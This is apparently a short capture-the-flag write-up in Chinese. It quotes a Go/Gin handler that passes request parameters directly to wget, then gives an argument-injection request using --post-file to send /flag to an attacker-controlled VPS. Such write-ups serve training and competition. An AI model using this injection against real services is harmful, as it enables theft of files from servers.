源码关键摘要:
路由级中间件 router请求路由 router.POST("/proxy", MiddleWare(), proxyController) router.GET("/wget", getController) router.POST("/login", loginController) 查看getController: func getController(c *gin.Context) { cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...) err := cmd.Run() if err != nil { fmt.Println("error: ", err) } c.String(http.StatusOK, "Nothing") } 命令执行wget结合argv参数的请求。argv为集合
/wget?argv=a 测试,回显nothing,有回显就好
vps监听个端口,--file-post=FILE:使用 POST 方式;发送 FILE 内容
/wget?argv=a&argv=--post-file&argv=/flag&argv=vps:port